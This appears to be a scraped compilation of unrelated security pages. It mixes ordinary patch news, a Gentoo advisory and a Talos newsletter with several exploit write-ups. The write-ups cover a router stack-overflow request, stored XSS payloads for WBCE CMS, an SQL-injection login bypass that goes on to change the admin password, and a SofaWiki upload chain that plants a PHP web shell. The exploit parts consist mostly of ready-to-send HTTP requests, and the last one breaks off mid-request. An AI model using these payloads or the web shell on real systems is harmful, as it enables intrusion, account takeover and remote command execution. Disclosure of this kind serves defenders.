H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the UpdateWanParams interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the UpdateWanParams interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the UpdateWanParams interface at /goform/aspForm. ## Vulnerability Details In the UpdateWanParams function, variable v27 is 64 bytes long. !\[\](https://i.imgur.com/WDK3g9I.png) !\[\](https://i.imgur.com/q54GVPx.png) V24 can be controlled by attacker, entered as parameter 'param'. !\[\](https://i.imgur.com/RYbrKEX.png) In line 55, v24 is formatted into v27 by function sscanf as long as the size of the data we enter is less than 512 bytes. So when the size of the data we enter is larger than the size of V27 and less than 512 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/qRxLceC.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG=; UPGRADE\_SOURCE= Connection: close Content-Length: 536 CMD=UpdateMacClone&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/x0dsbUP.png) And you can write your own exp to get the root shell.

CVE-2023-33633: H3C Magic R300-2100M was discovered stack overflow via the UpdateWanParams interface at /goform/aspForm - HackMD

Plus: Microsoft patches two zero-day flaws, Google’s Android and Chrome get some much-needed updates, and more.

Apple, Google, and Microsoft have released major patches this month to fix multiple security flaws already being used in attacks. May was also a critical month for enterprise software, with GitLab, SAP, and Cisco releasing fixes for multiple bugs in their products.

Here’s everything you need to know about the security updates released in May.

Apple iOS and iPadOS 16.5

Apple has released its long-awaited point update iOS 16.5, addressing 39 issues, three of which are already being exploited in real-life attacks. The iOS upgrade patches vulnerabilities in the Kernel at the heart of the operating system and in WebKit, the engine that powers the Safari browser. The three already exploited flaws are among five fixed in WebKit—tracked as CVE-2023-32409, CVE-2023-28204, and CVE-2023-32373.

CVE-2023-32409 is an issue that could allow an attacker to break out of the Web Content sandbox remotely, reported by Clément Lecigne of Google's Threat Analysis Group and Donncha Ó Cearbhaill of Amnesty International’s Security Lab. CVE-2023-28204 is a flaw that risks a user disclosing sensitive information. Finally, CVE-2023-32373 is a use-after-free bug that could enable arbitrary code execution.

Earlier in the month, Apple released iOS 16.4.1 (a) and iPadOS 16.4.1 (a)—the iPhone maker’s first-ever Rapid Security Response update—fixing the latter two exploited WebKit vulnerabilities also patched in iOS 16.5.

Apple iOS and iPadOS 16.5 were issued alongside iOS 15.7.6 and iPadOS 15.7.6 for older iPhones, as well as iTunes 12.12.9 for Windows, Safari 16.5, macOS Big Sur 11.7.7, macOS Ventura 13.4, and macOS Monterey 12.6.6.

Apple also released its first security update for Beats and AirPods headphones.

Microsoft

Microsoft’s mid-month Patch Tuesday fixed 40 security issues, two of which were zero-day flaws already being used in attacks. The first zero-day vulnerability, CVE-2023-29336, is an elevation-of-privilege bug in the Win32k driver that could allow an attacker to gain System privileges.

The second serious flaw, CVE-2023-24932, is a Secure Boot security feature bypass issue that could allow a privileged attacker to execute code. “An attacker who successfully exploited this vulnerability could bypass Secure Boot,” Microsoft said, adding that the flaw is difficult to exploit: “Successful exploitation of this vulnerability requires an attacker to compromise admin credentials on the device.”

The security update is not a full fix: It addresses the vulnerability by updating the Windows Boot Manager, which could cause issues, the company warned. Additional steps are required at this time to mitigate the vulnerability, Microsoft said, pointing to steps affected users can take to mitigate the issue.

Google Android

Google has released its latest Android security patches, fixing 40 flaws, including an already exploited Kernel vulnerability. The updates also include fixes for issues in the Android Framework, System, Kernel, MediaTek, Unisoc, and Qualcomm components.

The most severe of these issues is a high-severity security vulnerability in the Framework component that could lead to local escalation of privilege, Google said, adding that user interaction is needed for exploitation.

Previously linked to commercial spyware vendors, CVE-2023-0266 is a Kernel issue that could lead to local escalation of privilege. User interaction is not needed for exploitation.

Apple's iOS 16.5 Fixes 3 Security Bugs Already Used in Attacks

Gentoo Linux Security Advisory 202305-32 - Multiple vulnerabilities have been found in WebkitGTK+, the worst of which could result in arbitrary code execution. Versions greater than or equal to 2.40.1 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202305-32  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: WebKitGTK+: Multiple Vulnerabilities  
     Date: May 30, 2023  
     Bugs: #871732, #879571, #888563, #905346, #905349, #905351  
       ID: 202305-32

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
=======  
Multiple vulnerabilities have been found in WebkitGTK+, the worst of  
which could result in arbitrary code execution.

Background  
=========  
WebKitGTK+ is a full-featured port of the WebKit rendering engine,  
suitable for projects requiring any kind of web integration, from hybrid  
HTML/CSS applications to full-fledged web browsers.

Affected packages  
================  
Package              Vulnerable    Unaffected  
-------------------  ------------  ------------  
net-libs/webkit-gtk  < 2.40.1      >= 2.40.1

Description  
==========  
Multiple vulnerabilities have been discovered in WebKitGTK+. Please  
review the CVE identifiers referenced below for details.

Impact  
=====  
Please review the referenced CVE identifiers for details.

Workaround  
=========  
There is no known workaround at this time.

Resolution  
=========  
All WebKitGTK+ users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=net-libs/webkit-gtk-2.40.1"

References  
=========  
[ 1 ] CVE-2022-32885  
      https://nvd.nist.gov/vuln/detail/CVE-2022-32885  
[ 2 ] CVE-2022-32886  
      https://nvd.nist.gov/vuln/detail/CVE-2022-32886  
[ 3 ] CVE-2022-32888  
      https://nvd.nist.gov/vuln/detail/CVE-2022-32888  
[ 4 ] CVE-2022-32891  
      https://nvd.nist.gov/vuln/detail/CVE-2022-32891  
[ 5 ] CVE-2022-32923  
      https://nvd.nist.gov/vuln/detail/CVE-2022-32923  
[ 6 ] CVE-2022-42799  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42799  
[ 7 ] CVE-2022-42823  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42823  
[ 8 ] CVE-2022-42824  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42824  
[ 9 ] CVE-2022-42826  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42826  
[ 10 ] CVE-2022-42852  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42852  
[ 11 ] CVE-2022-42856  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42856  
[ 12 ] CVE-2022-42863  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42863  
[ 13 ] CVE-2022-42867  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42867  
[ 14 ] CVE-2022-46691  
      https://nvd.nist.gov/vuln/detail/CVE-2022-46691  
[ 15 ] CVE-2022-46692  
      https://nvd.nist.gov/vuln/detail/CVE-2022-46692  
[ 16 ] CVE-2022-46698  
      https://nvd.nist.gov/vuln/detail/CVE-2022-46698  
[ 17 ] CVE-2022-46699  
      https://nvd.nist.gov/vuln/detail/CVE-2022-46699  
[ 18 ] CVE-2022-46700  
      https://nvd.nist.gov/vuln/detail/CVE-2022-46700  
[ 19 ] CVE-2023-23517  
      https://nvd.nist.gov/vuln/detail/CVE-2023-23517  
[ 20 ] CVE-2023-23518  
      https://nvd.nist.gov/vuln/detail/CVE-2023-23518  
[ 21 ] CVE-2023-23529  
      https://nvd.nist.gov/vuln/detail/CVE-2023-23529  
[ 22 ] CVE-2023-25358  
      https://nvd.nist.gov/vuln/detail/CVE-2023-25358  
[ 23 ] CVE-2023-25360  
      https://nvd.nist.gov/vuln/detail/CVE-2023-25360  
[ 24 ] CVE-2023-25361  
      https://nvd.nist.gov/vuln/detail/CVE-2023-25361  
[ 25 ] CVE-2023-25362  
      https://nvd.nist.gov/vuln/detail/CVE-2023-25362  
[ 26 ] CVE-2023-25363  
      https://nvd.nist.gov/vuln/detail/CVE-2023-25363  
[ 27 ] CVE-2023-27932  
      https://nvd.nist.gov/vuln/detail/CVE-2023-27932  
[ 28 ] CVE-2023-27954  
      https://nvd.nist.gov/vuln/detail/CVE-2023-27954  
[ 29 ] CVE-2023-28205  
      https://nvd.nist.gov/vuln/detail/CVE-2023-28205  
[ 30 ] WSA-2022-0009  
      https://webkitgtk.org/security/WSA-2022-0009.html  
[ 31 ] WSA-2022-0010  
      https://webkitgtk.org/security/WSA-2022-0010.html  
[ 32 ] WSA-2023-0001  
      https://webkitgtk.org/security/WSA-2023-0001.html  
[ 33 ] WSA-2023-0002  
      https://webkitgtk.org/security/WSA-2023-0002.html  
[ 34 ] WSA-2023-0003  
      https://webkitgtk.org/security/WSA-2023-0003.html

Availability  
===========  
This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202305-32

Concerns?  
========  
Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
======  
Copyright 2023 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202305-32

WBCE CMS version 1.6.1 suffers from a cross site scripting vulnerability.

    Exploit Title: WBCE CMS 1.6.1 - Multiple Stored Cross-Site Scripting (XSS)Version: 1.6.1Bugs:  XSSTechnology: PHPVendor URL: https://wbce-cms.org/Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1Date of found: 03-05-2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================###XSS-1###steps: 1. Go to media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/)2. upload malicious svg filesvg file content ===><?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>   <script type="text/javascript">      alert(document.location);   </script></svg>poc request:POST /WBCE_CMS-1.6.1/wbce/modules/elfinder/ef/php/connector.wbce.php HTTP/1.1Host: localhostContent-Length: 976sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-platform: "Linux"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5u4r3pOGl4EnuBtOAccept: */*Origin: http://localhostSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060167Connection: close------WebKitFormBoundary5u4r3pOGl4EnuBtOContent-Disposition: form-data; name="reqid"187de34ea92ac------WebKitFormBoundary5u4r3pOGl4EnuBtOContent-Disposition: form-data; name="cmd"upload------WebKitFormBoundary5u4r3pOGl4EnuBtOContent-Disposition: form-data; name="target"l1_Lw------WebKitFormBoundary5u4r3pOGl4EnuBtOContent-Disposition: form-data; name="upload[]"; filename="SVG_XSS.svg"Content-Type: image/svg+xml<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>   <script type="text/javascript">      alert(document.location);   </script></svg>------WebKitFormBoundary5u4r3pOGl4EnuBtOContent-Disposition: form-data; name="mtime[]"1683056102------WebKitFormBoundary5u4r3pOGl4EnuBtO--3. go to svg file (http://localhost/WBCE_CMS-1.6.1/wbce/media/SVG_XSS.svg)========================================================================================================================###XSS-2###1. go to pages  (http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages)2. add page3. write page source content <script>alert(4)</script> (%3Cscript%3Ealert%284%29%3C%2Fscript%3E)payload: %3Cscript%3Ealert%284%29%3C%2Fscript%3Epoc request:POST /WBCE_CMS-1.6.1/wbce/modules/wysiwyg/save.php HTTP/1.1Host: localhostContent-Length: 143Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages/modify.php?page_id=4Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060475Connection: closepage_id=4&section_id=4&formtoken=6071e516-6ea84938ea2e60b811895c9072c4416ab66ae07f&content4=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&modify=Save4. view pages http://localhost/WBCE_CMS-1.6.1/wbce/pages/hello.php

WBCE CMS 1.6.1 Cross Site Scripting

Steam, the most popular video game storefront on PCs, only recently announced that it was ending support for Windows 7 and 8, and even then, it won’t be official until January.

Thursday, May 25, 2023 14:05

Welcome to this week’s edition of the Threat Source newsletter.

As a longtime macOS user, I must admit I’m behind the times when it comes to Microsoft Windows. Since buying a Steam Deck, I’ve actually come to learn more about Linux and the Proton compatibility layer than I ever did about Windows.

But it still came as a shock to me this week when I uncovered a weird trend on social media: People bragging about still using Windows 7.

Microsoft stopped putting out free security updates for Windows 7 in January 2020 and only more recently stopped offering its paid Extended Security Updates (ESU). The company explicitly told users at the beginning of this year that it was unsafe to continue to keep using Windows 7 and that users should upgrade to Windows 10 or use a new machine that can run Windows 11.

Yet I still found an entire subreddit dedicated to keeping Windows 7 up and running on computers and countless posts promoting how well the 13-year-old operating system runs with modern GPUs and graphics cards.

Steam, the most popular video game storefront on PCs, only recently announced that it was ending support for Windows 7 and 8, and even then, it won’t be official until January. And Roblox, which is quietly one of the biggest video games in the world, only recently ended support for Windows 7 and 8.

I’m sure there are other examples of this among other types of software, but video games are the most specific corner of the internet I’m in, so that’s my frame of reference.

The moral of the story here is that using Windows 7 to do anything, but especially connecting to the internet (which is required to download and play video games) is a terrible idea. Attackers are always targeting outdated operating systems because they’re the most likely to be unpatched and vulnerable.

Running an operating system that is no longer receiving any type of security updates is extremely dangerous. If infected, that single machine could also be used as a springboard for the attacker to target and infect other machines on your network.

Since the start of this year, there have been 47 vulnerabilities discovered in Windows 7, according to the U.S.’s National Institute of Standards and Technology Vulnerability Database. There are even more security issues with third-party software running on Windows 7.

Just because something is old, doesn’t mean that attackers aren’t paying attention anymore. Without official support or security updates for Windows 7, Microsoft is no longer compelled to disclose formal vulnerabilities with CVEs attached to inform users about any security holes in the operating system.

Upgrading a PC or buying a new one is expensive, I get it. But Windows 7 isn’t a novelty anymore, it’s a security risk. If you feel like you absolutely have to keep Windows 7 running on a machine for some reason, make sure it is isolated from your network or just doesn’t connect to the internet at all.

But more preferably, upgrade to Windows 10. If you’re already using Windows 7, it’s free, and likely whatever hardware you’re using can support Windows 10. If you’re starting from scratch, many online stores have deeply discounted product keys for Windows 10 or 11 for $20 or less — just make sure to download the ISO directly from Microsoft still.

**The one big thing**

Montana recently became the first state in the U.S. to ban the app TikTok, though the law still has a long way to go before it can be enforced. The state’s governor signed a bill last week that prohibits mobile application stores from offering the app in the state by the start of 2024, or else they’ll face fines. However, it’s currently unclear if it’s even feasible for Montana to enforce this ban, as app stores don’t geofence certain applications on its stores, and internet service providers are exempt from having to enforce these rules. TikTok has recently become a target for Republican lawmakers over concerns that its Chinese-backed parent company is collecting and using Americans’ data. TikTok and popular TikTok creators in Montana have already sued the state to stop the law.

**Why do I care?**

Even if you are not an active TikTok user, the ban is noteworthy because it has major implications for American law and the enforcement of the First Amendment in the U.S. Opponents of Montana’s bill say it's a clear violation of the First Amendment. The various legal challenges are likely going to shift through the legal system for months, but any eventual decisions could influence how states view banning certain technology or even books and movies.

**So now what?**

There are many questions still unanswered about how this ban will work or whether it will stand. So for now, interested parties can’t do much but sit back and wait for the legal proceedings to play out.

**Top security headlines of the week**

Apple released a security update for many of its devices last week that **fixed three zero-day vulnerabilities in the WebKit browser engine.** A few days after the patches initially dropped, security researchers also discovered the updates addressed a different vulnerability known as “ColdInvite” (CVE-2023-27930). An attacker could exploit ColdInvite to attack a co-processor chip on iPhones and escape its isolation environment, eventually accessing the iPhone’s kernel. The three WebKit vulnerabilities affect some iPhones and iPads. CVE-2023-28204, CVE-2023-32373 and CVE-2023-32409 could be exploited to escape the Web Content sandbox. Google’s Threat Analysis Group and Amnesty International co-reported CVE-2023-32409, which led many security experts to speculate means attackers exploited this issue to spread spyware. (SecurityWeek, Forbes)

**Two popular Android set-top TV boxes sold on Amazon are preloaded with malware** that quietly generates revenue for the manufacturers in the background. The devices click on ads while running without the user knowing and connect to a global botnet of other infected Android devices around the globe. Despite the reported security issues, the devices were still for sale on Amazon as of earlier this week. However, the security researcher who discovered this botnet worked with the internet company hosting the command and control servers that sent directions to devices part of the botnet to take those servers down. However, that doesn’t mean the botnet or ad-click malware could never come back — the easiest solution for users is to replace the devices immediately. (TechCrunch, ArsTechnica)

Security researchers are concerned that **two new top-level domains from Google — .zip and .mov — will cause confusion among users and potentially open the door for scammers.** Because these new TLDs (like .com, .gov, .uk, etc.) are the same as popular file extensions, adversaries could disguise legitimate-looking file names and actually send people to a malicious web address without the user knowing that it could even be a web page. They could also be used to create legitimate-looking URLs that match that of a real website but just add one character in a long string, eventually pointing people to a malicious file or site. However, Google says it's actively monitoring for domain abuse. (Wired, Ars Technica)

**Can’t get enough Talos?**

*   Highlights of Talos IR On Air: Reviewing Q1's top threats
*   Beers with Talos Ep. #135: The XDR Files
*   Talos Takes Ep. #139: RA Group is just the latest example of the ransomware landscape splintering

*   Beers with Talos Ep. #136: Oh hello, “Susan”

**Upcoming events where you can find Talos**

**Cisco Live U.S. (June 4 - 8)**

Las Vegas, NV

**Discover Cyber Workshop for Women** **(June 8)**

Doha, Qatar

**REcon (June 9 - 11)**

Montreal, Canada

**Most prevalent malware files from Talos telemetry over the past week**

  
**SHA 256:** 856777e16c153722ebd3f389197d4b6482f8afb2e51345e1ab19760c486c3f78  
**MD5:** c720ac483a5752c2b69945a8ad673162  
**Typical Filename:** DOC001.exe  
**Claimed Product:** N/A  
**Detection Name:** DeepScan:Generic.BitcoinMiner.9.88FBC400

**SHA 256:** e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934  
**MD5:** 93fefc3e88ffb78abb36365fa5cf857c  
**Typical Filename:** Wextract  
**Claimed Product:** Internet Explorer  
**Detection Name:** PUA.Win.Trojan.Generic::85.lp.ret.sbx.tg

**SHA 256:** 5616b94f1a40b49096e2f8f78d646891b45c649473a5b67b8beddac46ad398e1  
**MD5:** 3e10a74a7613d1cae4b9749d7ec93515  
**Typical Filename:** IMG001.exe  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Coinminer::1201

**SHA 256:** 00ab15b194cc1fc8e48e849ca9717c0700ef7ce2265511276f7015d7037d8725  
**MD5:** d47fa115154927113b05bd3c8a308201  
**Typical Filename:** mssqlsrv.exe  
**Claimed Product:** N/A  
**Detection Name:** Trojan.GenericKD.65065311

**SHA 256:** e12b6641d7e7e4da97a0ff8e1a0d4840c882569d47b8fab8fb187ac2b475636c  
**MD5:** a087b2e6ec57b08c0d0750c60f96a74c  
**Typical Filename:** AAct.exe  
**Claimed Product:** N/A  
**Detection Name:** PUA.Win.Tool.Kmsauto::1201

It’s apparently hip to still be using Windows 7

2023 Online Course Registration version 1.0 suffers from a remote SQL Injection vulnerability that allows for authentication bypass.

    ## Title: 2023-Online-Course-Registration-1.0-Bypass-login-SQLi-RCE-password-changing## Author: nu11secur1ty## Date: 05.25.2023## Vendor: https://github.com/nikhilkeshava## Software: https://github.com/nikhilkeshava/online-course-registration-## Reference: https://portswigger.net/web-security/sql-injection,https://portswigger.net/web-security/sql-injection/lab-login-bypass## Description:The `username` parameter appears to be vulnerable to SQL injectionattacks. The payloads 77834251' or 6127=6127-- and 98762777' or4535=4542-- were each submitted in the username parameter. These tworequests resulted in different responses, indicating that the input isunsafely incorporated into a SQL query. The attacker can use thisbypass login vulnerability to send a remote POST request to set a newadministrator password for himself, which is absolutely nasty.STATUS: HIGH Vulnerability[+]Payload:```POSTPOST /online-course-registration/admin/index.php HTTP/1.1Host: pwnedhost.comCookie: PHPSESSID=38468sipptm9j24j9e8svavpgnContent-Length: 62Cache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://pwnedhost.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://pwnedhost.com/online-course-registration/admin/index.phpAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: closeusername=nu11secur1ty%27+or+1%3D1%23&password=password&submit=```[+]Exploit:```POSTPOST /online-course-registration/admin/change-password.php HTTP/1.1Host: pwnedhost.comCookie: PHPSESSID=38468sipptm9j24j9e8svavpgnContent-Length: 58Cache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://pwnedhost.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://pwnedhost.com/online-course-registration/admin/change-password.phpAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: closecpass=password&newpass=password5&cnfpass=password5&submit=```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/nikhilkeshava/2023-Online-Course-Registration-1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/05/2023-online-course-registration-10.html)## Time spend:01:15:00

2023 Online Course Registration 1.0 SQL Injection

SofaWiki <= 3.8.9 has a file upload vulnerability that leads to command execution.

1.  The PHP file an be uploaded directly by matching referer.

    // index.php
    case 'uploadbigfile':   		if ($user->hasright('upload', '') || stristr($swBaseHrefFolder,$referer))
    							{
    									include 'inc/special/uploadbigfile.php';
    							}
    

    // uploadbigfile.php
    if (isset($_FILES['uploadedfile']) && is_uploaded_file($_FILES['uploadedfile']['tmp_name']))
    {	 
    	 $filename = $_FILES['uploadedfile']['name'];
    	 $newfile = $swRoot.'/site/uploadbig/'.$filename;
    	 move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$newfile);
    	 
    	 $checksum = md5_file($newfile);
    	 if ($checksum == $filename)
    	 {
    		 echo 'upload ok '.$filename;
    	 }
    	 else
    	 {
    		 echo 'checksum error filename '.$filename.' checksum '.$checksum. ' length '.filesize($newfile);
    		 unlink($newfile);
    	 }
    	 
    	 $_FILES = null;
    	 
    	 exit();
    }
    

2.  Send a request package to get checksum.

    POST /sofawiki-master/index.php?action=uploadbigfile HTTP/1.1
    Host: 172.16.134.41
    Content-Length: 243
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryk1tApDzIaBAxp9EH
    Accept: */*
    Origin: http://172.16.134.41
    Referer: http://172.16.134.41/sofawiki-master/index.php?action=view&name=special:upload-big&lang=en
    Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
    
    ------WebKitFormBoundaryk1tApDzIaBAxp9EH
    Content-Disposition: form-data; name="uploadedfile"; filename="idontknow"
    Content-Type: application/octet-stream
    
    <?php echo system($_REQUEST["cmd"]);?>
    ------WebKitFormBoundaryk1tApDzIaBAxp9EH--
    

3.  Send three request packets using checksum to create a malicious PHP file.

> 1st

    POST /sofawiki-master/index.php?action=uploadbigfile HTTP/1.1
    Host: 172.16.134.41
    Content-Length: 283
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfiZ05SNBgGM9pnBh
    Accept: */*
    Origin: http://172.16.134.41
    Referer: http://172.16.134.41/sofawiki-master/index.php?action=view&name=special:upload-big&lang=en
    Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
    
    ------WebKitFormBoundaryfiZ05SNBgGM9pnBh
    Content-Disposition: form-data; name="checkchunks"
    
    edc4325bdef3f7fb70abd0389e85f6d1
    ------WebKitFormBoundaryfiZ05SNBgGM9pnBh
    Content-Disposition: form-data; name="filename"
    
    evilupload.php
    ------WebKitFormBoundaryfiZ05SNBgGM9pnBh--
    

> 2nd

    POST /sofawiki-master/index.php?action=uploadbigfile HTTP/1.1
    Host: 172.16.134.41
    Content-Length: 266
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryk1tApDzIaBAxp9EH
    Accept: */*
    Origin: http://172.16.134.41
